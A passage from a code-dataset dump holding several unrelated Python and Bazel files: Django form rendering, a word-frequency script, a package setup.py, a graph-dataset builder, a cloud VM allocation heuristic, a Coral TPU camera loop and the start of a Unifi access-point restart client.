top_errors.extend(\n                        [_('(Hidden field %(name)s) %(error)s') % {'name': name, 'error': str(e)}\n                         for e in bf_errors])\n                hidden_fields.append(str(bf))\n            else:\n                # Create a 'class=\"...\"' attribute if the row should have any\n                # CSS classes applied.\n                css_classes = bf.css_classes()\n                if css_classes:\n                    html_class_attr = ' class=\"%s\"' % css_classes\n\n                if errors_on_separate_row and bf_errors:\n                    output.append(error_row % str(bf_errors))\n\n                if bf.label:\n                    label = conditional_escape(bf.label)\n                    label = bf.label_tag(label) or ''\n                else:\n                    label = ''\n\n                if field.help_text:\n                    help_text = help_text_html % field.help_text\n                else:\n                    help_text = ''\n\n                output.append(normal_row % {\n                    'errors': bf_errors,\n                    'label': label,\n                    'field': bf,\n                    'help_text': help_text,\n                    'html_class_attr': html_class_attr,\n                    'css_classes': css_classes,\n                    'field_name': bf.html_name,\n                })\n        for name, field in self.fields.items():\n            per_field()\n\n\n        if top_errors:\n            output.insert(0, error_row % top_errors)\n\n        if hidden_fields:  # Insert any hidden fields in the last row.\n            str_hidden = ''.join(hidden_fields)\n            if output:\n                last_row = output[-1]\n                # Chop off the trailing row_ender (e.g. '</td></tr>') and\n                # insert the hidden fields.\n                if not last_row.endswith(row_ender):\n                    # This can happen in the as_p() case (and possibly others\n                    # that users write): if there are only top errors, we may\n                    # not be able to conscript the last row for our purposes,\n                    # so insert a new, empty row.\n                    last_row = (normal_row % {\n                        'errors': '',\n                        'label': '',\n                        'field': '',\n                        'help_text': '',\n                        'html_class_attr': html_class_attr,\n                        'css_classes': '',\n                        'field_name': '',\n                    })\n                    output.append(last_row)\n                output[-1] = last_row[:-len(row_ender)] + str_hidden + row_ender\n            else:\n                # If there aren't any rows in the output, just append the\n                # hidden fields.\n                output.append(str_hidden)\n        return mark_safe('\\n'.join(output))\n","sub_path":"mysite/yaml_creator/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":19237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"622491571","text":"\"\"\" Analyzes the word frequencies in a book downloaded from\n    Project Gutenberg \"\"\"\n\nimport csv\nimport string\nimport pickle\nimport operator\n\ndef get_word_list(file_name):\n        \"\"\" Reads the specified project Gutenberg book.  Header comments,\n            punctuation, and whitespace are stripped away.  The function\n            returns a list of the words used in the book as a list.\n            All words are converted to lower case.\n        \"\"\"\n        text = open(file_name,'r').read()\n        text = string.lower(text)\n        for ch in '!\"#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~':\n            text = string.replace(text, ch, ' ')\n        words = string.split(text)\n\n        counts = {}\n        for w in words:\n            counts[w] = counts.get(w,0) + 1\n\n        f = open('./wordcount', 'w')\n        pickle.dump(counts,f)\n        f.close()\n        return counts\n\ndef get_top_n_words(word_list, n):\n    \"\"\" Takes a list of words as input and returns a list of the n most frequently\n        occurring words ordered from most to least frequently occurring.\n\n        word_list: a list of words (assumed to all be in lower case with no\n                        punctuation\n        n: the number of words to return\n        returns: a list of n most frequently occurring words ordered from most\n                    frequently to least frequentlyoccurring\n\t\"\"\"\n    inf = open('./wordcount', 'r')\n    data = pickle.load(inf)\n    sorted_data = sorted(word_list.items(), key=operator.itemgetter(1), reverse = True)\n    #orted_data =sorted(word_list)\n    outf = open('./sortedwordcounts' , 'w')\n    pickle.dump(sorted_data,outf)\n    return sorted_data[:n]\n\nprint(get_top_n_words(get_word_list('merchantofvenice'), 100))","sub_path":"frequency.py","file_name":"frequency.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"84941000","text":"# coding=utf-8\n# @File  : setup.py\n# @Author: PuJi\n# @Date  : 2018/5/5 0005\n\nimport os\nfrom setuptools import setup,find_packages\n\n\nrequires=[\n    'backports-abc==0.5',\n    'certifi==2018.4.16',\n    'chardet==3.0.4',\n    'click==6.7',\n    'Flask==0.12.2',\n    'Flask-Cors==3.0.3',\n    'Flask-SQLAlchemy==2.3.2',\n    'futures==3.2.0',\n    'idna==2.6',\n    'ipfsapi==0.4.2.post1',\n    'itsdangerous==0.24',\n    'Jinja2==2.10',\n    'MarkupSafe==1.0',\n    'Naked==0.1.31',\n    'passlib==1.7.1',\n    'pyasn1==0.4.2',\n    'pycryptodome==3.6.1',\n    'PyYAML==3.12',\n    'requests==2.18.4',\n    'rsa==3.4.2',\n    'shellescape==3.4.1',\n    'singledispatch==3.4.0.3',\n    'six==1.11.0',\n    'SQLAlchemy==1.2.7',\n    'tornado==5.0.2',\n    'urllib3==1.22',\n    'Werkzeug==0.14.1',\n]\n\n\nbase_dir = os.path.abspath(os.path.dirname(__file__))\n# Get the long description from the README file\nwith open(os.path.join(base_dir, 'README.md'), 'rb') as f:\n    long_description = f.read().decode('utf-8')\n\nconsole_scripts = [\n    'ulordapi = upapi.src.daemon.daemonCLI:main'\n]\n\npackage_name = \"ulordapi\"\n\nsetup(\n    name=package_name,\n    version='0.0.1',\n    packages=find_packages(base_dir),\n    author=\"PuJi\",\n    author_email=\"caolinan@ulord.net\",\n    url=\"https://ulord.one/\",\n    description=\"SDK for the Ulord APIs\",\n    long_description=long_description,\n    keywords=\"ulord api blockchain\",\n    license='MIT',\n    include_package_data=True,\n    install_requires=requires,\n    zip_safe=False,\n    entry_points={'console_scripts': console_scripts},\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"445769804","text":"load(\"//tools:defaults.bzl\", \"protractor_web_test_suite\", \"ts_library\")\n\ndef example_test(name, srcs, server, data = [], **kwargs):\n    ts_library(\n        name = \"%s_lib\" % name,\n        testonly = True,\n        srcs = srcs,\n        tsconfig = \"//modules/playground:tsconfig-e2e.json\",\n        deps = [\n            \"//dev-infra/benchmark/driver-utilities\",\n            \"//packages/private/testing\",\n            \"@npm//@types/jasminewd2\",\n            \"@npm//@types/selenium-webdriver\",\n            \"@npm//protractor\",\n        ],\n    )\n\n    protractor_web_test_suite(\n        name = \"protractor_tests\",\n        data = data,\n        on_prepare = \"//modules/playground/e2e_test:start-server.js\",\n        server = server,\n        deps = [\n            \":%s_lib\" % name,\n            \"@npm//selenium-webdriver\",\n            \"@npm//yargs\",\n            \"@npm//source-map\",\n        ],\n        **kwargs\n    )\n","sub_path":"modules/playground/e2e_test/example_test.bzl","file_name":"example_test.bzl","file_ext":"bzl","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"226911577","text":"import numpy as np\nimport os, sqlite3, pickle, sys, gzip, shutil, time\nfrom tqdm import tqdm\nimport os.path as osp\n\nfrom pandas import read_sql, concat\nfrom sklearn.preprocessing import normalize, RobustScaler\nfrom sklearn.neighbors import kneighbors_graph as knn\n\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' \nfrom spektral.data import Dataset, Graph\n\n\nclass graph_w_edge1(Dataset):\n    \"\"\"\n    Class for a graph dataset with the following edge features:\n    distance, time-difference and unit vector for direction\n    The node features are normalized with a robust scaler before calculating edge features\n    \"\"\"\n\n    def __init__(self, n_data = None, n_neighbors = 6, **kwargs):\n        self.n_data = n_data\n        self.n_neighbors = n_neighbors\n        super().__init__(**kwargs)\n\n    @property\n    def path(self):\n        \"\"\"\n        Set the path of the data to be in the processed folder\n        \"\"\"\n        cwd = osp.dirname(osp.realpath(__file__))\n        path = osp.join(cwd, \"processed/graph_w_edge1\")\n        return path\n\n    def download(self):\n        download_start = time.time()\n        # Get raw_data\n        db_folder = osp.join(osp.dirname(osp.realpath(__file__)), \"raw_files\")\n        db_list   = os.listdir(db_folder)\n\n        # Make output folder\n        os.mkdir(self.path )\n\n        # Create data loop \n        downloaded = 0\n        seq, sca = None, None\n        if self.n_data == None:\n            self.n_data = 999999999999\n        print(\"Starting data generation\")\n        for file in db_list:\n            with sqlite3.connect(osp.join(db_folder, file)) as con:\n                print(f\"Reading {file}\")\n                distinct = read_sql(f\"select distinct event_no from sequential\", con).event_no\n                if len(distinct) <= self.n_data - downloaded:\n                    limit = distinct.max()\n                else:\n                    limit = distinct.sort_values()[self.n_data - downloaded]\n                if type(seq) == None:\n                    seq     = read_sql(f\"select * from sequential where event_no < {limit};\", con)\n                    sca     = read_sql(f\"select * from scalar where event_no < {limit};\", con)\n                else:\n                    seq     = concat([seq, read_sql(f\"select * from sequential where event_no < {limit};\", con)])\n                    sca     = concat([sca, read_sql(f\"select * from scalar where event_no < {limit};\", con)])\n            downloaded = len(seq.event_no.unique())\n            if downloaded >= self.n_data:\n                print(f\"Succesfully loaded data for {downloaded} graphs\")\n                break\n            if file == db_list[-1]:\n                print(f\"All raw  data loaded: {downloaded} graphs\")\n        \n        # Set attributes\n        node_cols = [\"dom_x\", \"dom_y\", \"dom_z\", \"dom_charge\", \"dom_time\"]\n        event_no  = seq.event_no.unique()[sca.event_no.isin(sca.event_no)]\n        seq       = seq[seq.event_no.isin(event_no)]\n        sca       = sca[sca.event_no.isin(event_no)]\n        targets   = [\"true_primary_energy\"]\n\n        idx_nodes = np.array(seq.event_no)\n        idx_targ  = np.array(sca.event_no)\n\n        nodes_arr = np.array(seq.loc[:, node_cols])\n        targ_arr  = np.array(sca.loc[:, targets])\n\n        nodes_arr  = RobustScaler().fit_transform(nodes_arr)\n        # targ_arr  = RobustScaler().fit_transform(targ_arr)\n\n        # Find cuts for node_arr\n        ids, start, count = np.unique(idx_nodes, return_index = True, return_counts = True)\n\n        graph_list = []\n        # Just add a range for the y array, shou\n        for i, id, s, c in tqdm(zip(range(len(ids)), ids, start, count), total = len(ids)):\n            x = nodes_arr[s: s + c + 1 , :]\n            y = targ_arr[i]\n\n            a, e = calculate_edge_attributes(x, n_neighbors = self.n_neighbors)\n\n            graph_list.append((x, a, e, y))\n            if (i % 10000 == 0 and i > 0) or i == len(ids) - 1:\n              graph_list =np.array(graph_list, dtype = object)\n              np.savez(osp.join(self.path, f\"graphs{len(os.listdir(self.path))}\"), graph_list)\n              graph_list = []\n\n\n        # print(\"Saving file\")\n        # start_time = time.time()\n        # graph_list =np.array(graph_list, dtype = object)\n        # for i in tqdm(range(0, len(graph_list), 10000)):\n        #     save_now = graph_list[i:i+10000]\n        #     np.savez(osp.join(self.path, f\"graphs{i}\"), save_now)\n        # print(f\"Data saved in {time.time() - start_time:.1f} seconds\")\n        print(f\"Total time to create dataset: {time.time() - download_start:.1f} seconds\")\n\n    def read(self):\n        print(\"Loading data to memory\")\n        output = []\n        for file in tqdm(os.listdir(self.path), position = 0, leave = True):\n            graphs = np.load(osp.join(self.path, file), allow_pickle = True)\n            for g in graphs[\"arr_0\"]:\n                output.append(Graph(*g))\n        return output\n        \n\n\n\ndef calculate_edge_attributes(x, n_neighbors):\n    pos, charge, time = x[:, :3], x[:, 3], x[:, 4]\n    a = knn(x[:, :3], n_neighbors)\n\n    index_i, index_j = np.repeat(np.arange(a.shape[0]), n_neighbors), a.indices\n\n    dists = np.linalg.norm(pos[index_i] - pos[index_j], axis = 1)\n    vects = normalize(pos[index_i] - pos[index_j])\n    dts = time[index_j] - time[index_i]\n\n    e = np.vstack(np.vstack([dists, dts, vects.T])).T\n\n    return a, e\n\n\n\nif __name__ == \"__main__\":\n    print(\"Removing current data folder\")\n    \n    path = osp.dirname(osp.realpath(__file__))\n    if not \"processed\" in os.listdir(path):\n        os.mkdir(osp.join(path, \"processed\"))\n    if not \"raw_files\" in os.listdir(path):\n        os.mkdir(osp.join(path, \"processed\"))\n        print(\"Folder created for raw files, please add some before continuing\")\n        sys.exit()\n\n    if os.path.isdir(osp.join(path, \"processed\", \"graph_w_edge1\")):\n        shutil.rmtree(osp.join(path, \"processed\", \"graph_w_edge1\"))\n    if len(sys.argv) == 2:\n        n_data = int(sys.argv[1])\n        print(f\"Preparing dataset with {n_data} graphs\")\n    else:\n        n_data = None\n        print(\"Preparing dataset with all availible raw data\")\n\n    # Preparing data \n    dataset = graph_w_edge1(n_data)\n","sub_path":"data/graph_w_edge1.py","file_name":"graph_w_edge1.py","file_ext":"py","file_size_in_byte":6157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"153357290","text":"# Decision Making Statements in python \n\n# if , elif and else are the three decision making statements in pyhton\n\n# Example for if statements\nif True:\n\tprint(\"I'm True\")\n\n# Example for if, elif and else\n# Variable Declaration\nlang = 'Python'\n\n# prints Welcome Python \nif lang == 'Python':\n\tprint(\"Welcome Python\")\nelif lang == 'Java':\n\tprint(\"Welcome Java\")\nelse:\n\tprint(\"What is your name\")\n\n\n#Example for if and else\na = 10\nb = 5\n\n# prints the heighest of a and b\nif a > b:\n\tprint(f\"Heighest number is {a}\")  #Here we are using string formatting f\" {var_name}\"\nelse:\n\tprint(f\"Heighest number is {b}\")","sub_path":"ex3_decision.py","file_name":"ex3_decision.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"530464393","text":"#!/usr/bin/python\nimport sys\nimport logging as log\nimport mode as mode_\nimport mode\n\ndef get_total_cpus (inp):\n    \"\"\" ret: minimum of total cpus in all hosts\n             and all cpus needed from all services\n        complexity: O(hosts + services)\n    \"\"\"\n    available_cpus = sum([h.get_avail_cpus() for h in inp.dic_hos.values()])\n    needed_cpus = sum([s.get_cpus() for s in inp.dic_ser.values()])\n\n    return min(available_cpus, needed_cpus)\n\ndef get_total_cost (inp):\n    \"\"\" ret: total cost of using all cpus in all hosts\n        complexity: O(hosts)\n    \"\"\"\n    return sum([h.get_cost(h.get_avail_cpus()) for h in inp.dic_hos.values()])\n\ndef get_mincost_cpu (inp):#XXX\n    \"\"\" ret: list of minimum costs for any number of cpus\n             starting from 0\n        complexity: O(hosts*total_cpus*total_bandwidth)\n    \"\"\"\n    cp = get_total_cpus(inp)\n    total_cost = get_total_cost(inp)\n\n    best = [total_cost]*(cp + 1)\n    best[0][0] = 0\n\n    for h in inp.hosts():\n        best_t = [list(gain_list) for gain_list in best]\n        for hcpus in range(h.get_avail_cpus()):#host_cpus\n            v = h.get_cost(hcpus + 1)\n            for acpus in range(cp + 1):#all_cpus\n                uc2 = max(0, acpus - hcpus - 1)\n                if (best_t[acpus] > best[uc2] + v):\n                    best_t[acpus] = best[uc2] + v\n        best = [list(cost_list) for cost_list in best_t]\n\n    return best\n\ndef get_maxgain_cpu (inp, mode_federation, mode_cost):#XXX\n    \"\"\" ret: list of maximum gains for any number of cpus\n             starting both from 0\n        complexity = O(services*components^x*total_bandwidth*total_cpus)\n    \"\"\"\n    cp = get_total_cpus(inp)\n\n    best = [0]*(cp + 1)\n    for s in inp.dic_ser.values():\n        best_t = [list(gain_list) for gain_list in best]\n        \n        combs = s.get_comb(mode_federation, mode_cost, inp.cost_weight, inp.eco_weight, inp.risk_weight, inp.trust_weight)\n        log.debug(\"Combinations: %s\", combs)\n        for (_dump_list, cpus, gain) in combs:\n            for cps in range(cp + 1):\n                if (cps >= cpus):\n                    if (best_t[cps] < best[cps-cpus] + gain):\n                        best_t[cps] = best[cps-cpus] + gain\n\n        best = [list(gain_list) for gain_list in best_t]\n\n    return (best)\n\ndef get_maxgain_cpu_found_alloc (inp, mode_allocation, mode_federation, mode_cost, host_sort):#XXX\n    \"\"\" inp: input object (contains any information of problem's input)\n        mode_allocation: mode for allocation\n        mode_federation: mode for federation\n        mode_cost: include federation cost or not\n        host_sort: metric for host sorting\n        ret: list of maximum gains for any number of cpus\n             starting from 0 for which an allocation is found\n             and list the respective cpus used per component\n        WARNING best of solution is not guaranteed even if all \n        allocations are successfully found\n        complexity: O(services*components^2*total_cpus*O(is_found_allocation))\n    \"\"\"\n    cp = get_total_cpus(inp)\n\n    best = [0] * (cp + 1)\n    inds = [[]] * (cp + 1)\n    for (sname,s) in inp.dic_ser.items():\n        best_t = list(best)\n        inds_t = list(inds)\n\n        combs = s.get_comb(mode_federation, mode_cost, inp.cost_weight, inp.eco_weight, inp.risk_weight, inp.trust_weight)\n        log.debug(\"Combinations: %s\", combs)\n        for (cp_list, cpus, gain, p, av) in combs:\n            for i in range(cp + 1):\n                if (i >= cpus):\n                    if (best_t[i] < best[i-cpus] + gain):\n                        if (is_found_allocation(inp, inds[i-cpus] + [(sname, cpus, gain, p, av, cp_list)], mode_allocation, host_sort)):\n                            best_t[i] = best[i-cpus] + gain\n                            inds_t[i] = inds[i-cpus] + [(sname, cpus, gain, p, av, cp_list)]\n        best = list(best_t)\n        inds = list(inds_t)\n\n    return (best, inds)\n\ndef is_found_allocation (inp, serv_alloc, mode, host_sort):#XXX\n    \"\"\" inp: input object (contains any information of problem's input)\n        serv_alloc: list of allocations of components of each service\n                    format: [ (service, \n                                [ (vms, cpus_per_vm) ]*comp,\n                                     total_cpus, gain \n                              )\n                            ]*serv\n        general constraints: CPUS used in a HOST NO MORE than AVAILABLE\n                             all CPUS of a VM on the SAME HOST\n\n        mode: 0 constraints: MIXED constraints based on affinity rule\n        host_sort: metric for host sorting\n        ret: True or False depending if an allocation is found\n        complexity: O(services*components^x*components*cpus*components*vms)\n                    usually O(services*components^x*components*components*vms)\n    \"\"\"\n    if (mode == mode_.ModeAllocation.MIXED):#XXX\n        for (sname, _tot_cpus, _gain, _p, _av, comp) in serv_alloc:\n            # Entry: {group:[(vms,cps_pervm)]}\n            same_host_dic = {}\n            # Entry: {group:{hosts}}\n            diff_host_dic = {}\n            # Identify the groups of components to go to the same host\n            service = inp.dic_ser[sname]\n            for (cname, vms, cps_pervm) in comp:\n                component = service.dic_com[cname]\n                group = component.group_aff_host\n                if group in same_host_dic:\n                    same_host_dic[group].append((cname, vms, cps_pervm))\n                else:\n                    same_host_dic[group] = [(cname, vms, cps_pervm)]\n            for name, comp in same_host_dic.items():\n                if name == None:\n                    # like mode 0 individual components same cloud\n                    found = is_found0(same_host_dic[name], get_hosts(inp, host_sort), service, diff_host_dic)\n                    if not found: return False\n                    # like mode 1 all components same host\n                else:\n                    found = is_found1(same_host_dic[name], get_hosts(inp, host_sort), service, diff_host_dic)\n                    if not found: return False\n        return True\n    else:\n        raise mode_.MyError(mode)\n\n#TODO cost does not depend on host\ndef min_cost_alloc(inp, inds, mode, host_sort):#XXX\n    \"\"\" inp: input object (contains any information of problem's input)\n        inds:\n        mode: 0 constraints: MIXED constraints based on affinity rule\n        ret: minimum cost of allocations in \"inds\" and allocation\n            first fit\n\n        complexity: O(services*components^x*components*cpus*components*vms)\n                    usually O(services*components^x*components*components*vms)        \n    \"\"\"\n    if (mode == mode_.ModeAllocation.MIXED):#XXX\n        cpus = get_hosts(inp, host_sort)\n        al_pat = {}\n        s_accepted = {}\n        for (sname, _tot_cpus, gain, p, av, comp) in inds:\n            # Entry: {group:[(vms,cps_pervm)]}\n            same_host_dic = {}\n            # Entry: {group:{hosts}}\n            diff_host_dic = {}\n            service = inp.dic_ser[sname]\n            for (cname, vms, cps_pervm) in comp:\n                component = service.dic_com[cname]\n                group = component.group_aff_host\n                if group in same_host_dic:\n                    same_host_dic[group].append((cname, vms, cps_pervm))\n                else:\n                    same_host_dic[group] = [(cname, vms, cps_pervm)]\n            log.debug(\"Dictionary of components in the same affinity group:%s\", same_host_dic)\n            for name, comps in same_host_dic.items():\n                # individual components anywhere\n                if name == None:\n                    found = min_cost0(comps, cpus, gain, sname, service, diff_host_dic, al_pat, s_accepted)\n                    if not found:\n                        log.warn('Unexpected non found allocation(possible inconsistency min_cost_alloc, is_found_alloc)') \n                        return (sys.maxint, al_pat, s_accepted)\n                # all components same host\n                else:\n                    found = min_cost1(comps, cpus, gain, sname, service, diff_host_dic, al_pat, s_accepted)\n                    if not found:\n                        log.warn('Unexpected non found allocation(possible inconsistency min_cost_alloc, is_found_alloc)') \n                        return (sys.maxint, al_pat, s_accepted)\n            s_accepted[sname] = (av, p, gain, comp)\n        cost = 0\n        for ((hname,rem),(_,avail)) in zip(cpus, get_hosts(inp, host_sort)):\n            #estimate cost only if host is used\n            if avail!=rem: cost += inp.dic_hos[hname].get_cost(inp.cost_weight, inp.eco_weight)\n        return (cost, al_pat, s_accepted)\n    else:\n        raise mode_.MyError(mode)\n\ndef get_hosts(inp, host_sort):\n    if host_sort == mode_.ModeHostSort.COST:\n        sorted_list = sorted([(hname,host) for (hname,host) in inp.dic_hos.items()],\n            key = lambda h: h[1].get_cost(inp.cost_weight, inp.eco_weight))\n        return [(hname, host.get_avail_cpus()) for (hname, host) in sorted_list]\n    elif host_sort == mode.ModeHostSort.RANDOM:\n        return [(hname, host.get_avail_cpus()) for (hname, host) in inp.dic_hos.items()]\n    else:\n        raise mode_.MyError(mode)\n\n# mode 0 individual components same cloud\ndef is_found0(comps, cpus, service, diff_host_dic):\n    #iterate over components\n    for (cname, vms, cpus_pervm) in comps:\n        comp = service.dic_com[cname]\n        antigroup1 = comp.group_antiaff_host\n        isin1 = antigroup1 in diff_host_dic\n        if antigroup1 != None:\n            if not isin1:\n                diff_host_dic[antigroup1] = set()\n        if (sum([x[1] // cpus_pervm for x in cpus]) >= vms):\n            host_set = set()\n            for _ in range(int(vms)):\n                found = False\n                for j,(hname,total_cpus) in enumerate(cpus):\n                    if (total_cpus >= cpus_pervm):\n                        if isin1:\n                            if hname in diff_host_dic[antigroup1]:\n                                continue\n                        cpus[j] = (hname,total_cpus-cpus_pervm)\n                        host_set.add(hname)\n                        found = True\n                        break\n                if not found: return False\n            if antigroup1 != None:\n                diff_host_dic[antigroup1].update(host_set)\n        else: return False\n    return True\n\n# mode 3 all components same host\ndef is_found1(comps, cpus, service, diff_host_dic):\n    tot_cpus = sum([c[1]*c[2] for c in comps])\n    if tot_cpus == 0: return True\n    found = False\n    for j,(hname,avail_cpus) in enumerate(cpus):\n        if (avail_cpus >= tot_cpus):\n            okhost=True\n            #check if there is conflict\n            for (cname, _vms, _cpus_pervm) in comps:\n                comp = service.dic_com[cname]\n                antigroup1 = comp.group_antiaff_host\n                if antigroup1 != None:\n                    if not (antigroup1 in diff_host_dic):\n                        diff_host_dic[antigroup1] = set()\n                    elif hname in diff_host_dic[antigroup1]:\n                        okhost = False\n                        break\n            if not okhost:continue\n            cpus[j] = (hname, avail_cpus - tot_cpus)\n            found = True\n            #update antiaffinity sets of components\n            for (cname, _vms, _cpus_pervm) in comps:\n                comp = service.dic_com[cname]\n                antigroup1 = comp.group_antiaff_host\n                if antigroup1 != None:\n                    diff_host_dic[antigroup1].add(hname)\n            break\n    return found\n\n# mode 0 individual components same cloud\ndef min_cost0(comps, cpus, gain, sname, service, diff_host_dic, al_pat, s_accepted):\n    #iterate over components\n    for (cname, vms, cpus_pervm) in comps:\n        comp = service.dic_com[cname]\n        antigroup1 = comp.group_antiaff_host\n        isin1 = antigroup1 in diff_host_dic\n        if antigroup1 != None:\n            if not isin1:\n                diff_host_dic[antigroup1] = set()\n        if (sum([x[1] // cpus_pervm for x in cpus]) >= vms):\n            host_set = set()\n            for _ in range(vms):\n                found = False\n                for j,(hname,total_cpus) in enumerate(cpus):\n                    if (total_cpus >= cpus_pervm):\n                        if isin1:\n                            if hname in diff_host_dic[antigroup1]:\n                                continue\n                        cpus[j] = (hname,total_cpus - cpus_pervm)\n                        al_id = sname + ':' + cname + ':' + hname\n                        if al_id in al_pat:\n                            al_pat[al_id] += cpus_pervm\n                        else:\n                            al_pat[al_id] = cpus_pervm\n                        host_set.add(hname)\n                        found = True\n                        break\n                if not found: return False\n            if antigroup1 != None:\n                diff_host_dic[antigroup1].update(host_set)\n        else: return False\n    return True\n\n# mode 3 all components same host\ndef min_cost1(comps, cpus, gain, sname, service, diff_host_dic, al_pat, s_accepted):\n    tot_cpus = sum([c[1]*c[2] for c in comps])\n    if tot_cpus == 0: return True\n    found = False\n    for j,(hname,total_cpus) in enumerate(cpus):\n        if (total_cpus >= tot_cpus):\n            okhost=True\n            #check if there is conflict\n            for (cname, _vms, _cpus_pervm) in comps:\n                comp = service.dic_com[cname]\n                antigroup1 = comp.group_antiaff_host\n                if antigroup1 != None:\n                    if not (antigroup1 in diff_host_dic):\n                        diff_host_dic[antigroup1] = set()\n                    elif hname in diff_host_dic[antigroup1]:\n                        okhost = False\n                        break\n            if not okhost:continue\n            cpus[j] = (hname, total_cpus - tot_cpus)\n            for (cname, vms, cps_pervm) in comps:\n                al_id = sname + ':' + cname + ':' + hname\n                if al_id in al_pat:\n                    al_pat[al_id] += cps_pervm*vms\n                else:\n                    al_pat[al_id] = cps_pervm*vms\n            found = True\n            #update antiaffinity sets of components\n            for (cname, _vms, _cpus_pervm) in comps:\n                comp = service.dic_com[cname]\n                antigroup1 = comp.group_antiaff_host\n                if antigroup1 != None:\n                    diff_host_dic[antigroup1].add(hname)\n            break\n    return found\n\ndef unshared_copy (inList):\n    ''' ret: returns copies of list where all references are also copied\n    '''\n    if isinstance (inList, list):\n        return list (map (unshared_copy, inList) )\n    return inList","sub_path":"OptimisY3/AdmissionControl/AdmissionController/src/main/resources/HeuristicSolver/functions_compute.py","file_name":"functions_compute.py","file_ext":"py","file_size_in_byte":14795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"417220584","text":"#!/usr/bin/python3\n############################################################\n# File smartPiCamMainNoDisp.py\n# This is the main application file for the smart Pi camera.\n# It implements object detection with the Coral USB\n# Accelarotor (Edge TPU Coprozessor) using a model\n# trained on the COCO dataset. The code for display of \n# images is removed for increasing performance..\n#\n# File: smartPiCamMainNoDisp.py\n# Author: Detlef Heinze \n# Version: 1.0      Date: 06.04.2019       \n###########################################################\n\nfrom tkinter import *\nimport time \nfrom PIL import Image, ImageTk\nimport smartPiCamContr as SPCC_Contr\n\n\n#IDs of objects of interest to be detected\n#for this application. 43 = bottle, 52 = apple in COCO-Dataset\nobjectIdsOfInterest = { 43, 52} \n\n#Terminate program\ndef terminate():\n    print(\"Program terminates\")\n    camera.close()\n    appWin.destroy()\n\n#Create controller and warm up cam\nprint('SmartPiCam Application (No Display) 1.0\\n')\nspcc= SPCC_Contr.SmartPiCamContr()\ncamera= spcc.configurePiCam()\ncount=0\n\n#Create main application wmindow\nappWin = Tk()\nappWin.wm_title(\"Smart PiCam 1.0\")\nlblPicTaken= Label(appWin, text=\"No picture is displayed for higher performance\")\nlblPicTaken.pack(anchor=W, pady=5)\n\n#Start main loop of application\ntimeout = time.time() + spcc.appDuration\n\nprint('\\nApplication starts...\\n')\nappWin.update()\nwhile time.time() < timeout:\n    picData= spcc.takePhoto()\n    #Run neural network on Edge TPU Accelarotor\n    result= spcc.predict(picData)\n    \n    detectedObjects= spcc.analyseResult(result, objectIdsOfInterest)\n    spcc.processResult(detectedObjects)\n    count += 1\nprint(\"\\nDuration of running application has been reached.\")\nprint(\"Number of processed images: \", count)\nprint(\"Duration: \", spcc.appDuration, \"seconds.\")\nterminate()\n","sub_path":"SmartPiCam_with_PyCoral_API/smartPiCamMainNoDisp.py","file_name":"smartPiCamMainNoDisp.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"264623446","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport requests\nimport logging\nimport json\nimport sys\n\nlogger = logging.getLogger('')\nlogger.setLevel(logging.DEBUG)\nfh = logging.FileHandler('log/app.log')\nsh = logging.StreamHandler(sys.stdout)\nformatter = logging.Formatter('[%(asctime)s] - %(filename)s[%(lineno)d] - %(funcName)s - %(message)s',\n                               datefmt='%a, %d %b %Y %H:%M:%S')\nfh.setFormatter(formatter)\nsh.setFormatter(formatter)\nlogger.addHandler(fh)\nlogger.addHandler(sh)\n\nclass unifi(object):\n\t\"\"\" Осуществляет перезапуск точек доступа, подключенных к Unifi Controller средствами Unifi API \"\"\"\n\tdef __init__(self, api_url, api_username, api_password, api_site = 'default'):\n\t\tsuper(unifi, self).__init__()\n\t\tself.__api_url = api_url\n\t\tself.__api_username = api_username\n\t\tself.__api_password = api_password\n\t\tself.__api_site = api_site\n\t\tself.content_type = 'application/json'\n\t\tself.api_login_url = \"/api/login\"\n\t\tself.api_logout_url = \"/api/logout\"\n\t\tself.api_devices_url = \"/stat/device-basic\"\n\t\tself.api_devmgr_url = \"/cmd/devmgr\"\n\t\tif self.__login() == False:\n\t\t\tsys.exit()\n\t\t\n\t''' Возвращает json с заголовками для авторизации '''\n\tdef __get_headers(self):\n\t\theaders = {\n\t\t\t'Content-Type': self.content_type,\n\t\t}\n\t\treturn headers\n\n\t''' Возвращает json с данными для авторизации '''\n\tdef __get_login_data(self):\n\t\tdata = {\n\t\t\t\"username\": self.__api_username,\n\t\t\t\"password\": self.__api_password\n\t\t}\n\t\treturn json.dumps(data)\n\n\t''' Полный url для авторизации '''\n\tdef __get_login_url(self):\n\t\turl = self.__api_url + self.api_login_url\n\t\treturn url\n\n\t''' Полный url для получения списка подключенных устройств '''\n\tdef __get_devices_url(self):\n\t\turl = self.__api_url + '/api/s/' + self.__api_site + self.api_devices_url\n\t\treturn url\n\n\t''' Полный url для перезагрузки подключенного устройства '''\n\tdef __get_restart_device_url(self):\n\t\turl = self.__api_url + '/api/s/' + self.__api_site + self.api_devmgr_url\n\t\treturn url\n\n\t''' Возвращает json с данными для перезапуска устройства '''\n\tdef __get_restart_device_data(self, mac):\n\t\tdata = {\n\t\t\t\"cmd\": \"restart\",\n\t\t\t\"mac\": mac\n\t\t}\n\t\treturn json.dumps(data)\n\n\t''' Авторизация на UnifiController '''\n\tdef __login(self):\n\t\tlogin_url = self.__get_login_url()\n\t\theaders = self.__get_headers()\n\t\tlogin_data = self.__get_login_data()\n\t\tlogging.info( 